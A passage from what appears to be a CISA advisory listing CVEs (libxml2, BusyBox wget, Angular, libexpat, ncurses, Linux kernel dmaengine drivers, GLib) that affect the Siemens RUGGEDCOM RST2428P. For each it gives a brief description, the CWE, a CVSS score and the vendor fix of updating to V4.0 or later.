<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49796</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49796">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-60876</a></h3>
<div class="csaf-accordion-content">
<p>BusyBox wget thru 1.3.7 accepted raw CR (0x0D)/LF (0x0A) and other C0 control bytes in the HTTP request-target (path/query), allowing the request line to be split and attacker-controlled headers to be injected. To preserve the HTTP/1.1 request-line shape METHOD SP request-target SP HTTP/1.1, a raw space (0x20) in the request-target must also be rejected (clients should use %20).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-60876">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/284.html">CWE-284 Improper Access Control</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66035</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.16, 20.3.14, and 21.0.1, there is a XSRF token leakage via protocol-relative URLs in angular HTTP clients. The vulnerability is a Credential Leak by App Logic that leads to the unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (http:// or https://) to determine if it is cross-origin. If the URL starts with protocol-relative URL (//), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the X-XSRF-TOKEN header. This issue has been patched in versions 19.2.16, 20.3.14, and 21.0.1. A workaround for this issue involves avoiding using protocol-relative URLs (URLs starting with //) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single /) or fully qualified, trusted absolute URLs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/201.html">CWE-201 Insertion of Sensitive Information Into Sent Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66382</a></h3>
<div class="csaf-accordion-content">
<p>In libexpat through 2.7.3, a crafted file with an approximate size of 2 MiB can lead to dozens of seconds of processing time.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66382">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/407.html">CWE-407 Inefficient Algorithmic Complexity</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.9</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66412</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 21.0.2, 20.3.15, and 19.2.17, A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain javascript: URLs) as requiring strict URL security, enabling the injection of malicious scripts. This vulnerability is fixed in 21.0.2, 20.3.15, and 19.2.17.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-66412">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-69720</a></h3>
<div class="csaf-accordion-content">
<p>The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-69720">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71185</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: ti: dma-crossbar: fix device leak on am335x route allocation Make sure to drop the reference taken when looking up the crossbar platform device during am335x route allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71185">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71186</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: stm32: dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71186">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71188</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: lpc18xx-dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71188">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71189</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw: dmamux: fix OF node leak on route allocation failure Make sure to drop the reference taken to the DMA master OF node also on late route allocation failures.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71189">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71190</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: bcm-sba-raid: fix device leak on probe Make sure to drop the reference taken when looking up the mailbox device during probe on probe failures and on driver unbind.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71190">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71191</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: at_hdmac: fix device leak on of_dma_xlate() Make sure to drop the reference taken when looking up the DMA platform device during of_dma_xlate() when releasing channel resources. Note that commit 3832b78b3ec2 ("dmaengine: at_hdmac: add missing put_device() call in at_dma_xlate()") fixed the leak in a couple of error paths but the reference is still leaking on successful allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71191">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-1484</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrusted or extremely large Base64 input using GLib may crash or behave unpredictably.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-1484">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-1489</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in GLib. An integer overflow vulnerability in its Unicode case conversion implementation can lead to memory corruption. By processing specially crafted and extremely large Unicode strings, an attacker could trigger an undersized memory allocation, resulting in out-of-bounds writes. This could cause applications utilizing GLib for string conversion to crash or become unstable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-1489">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
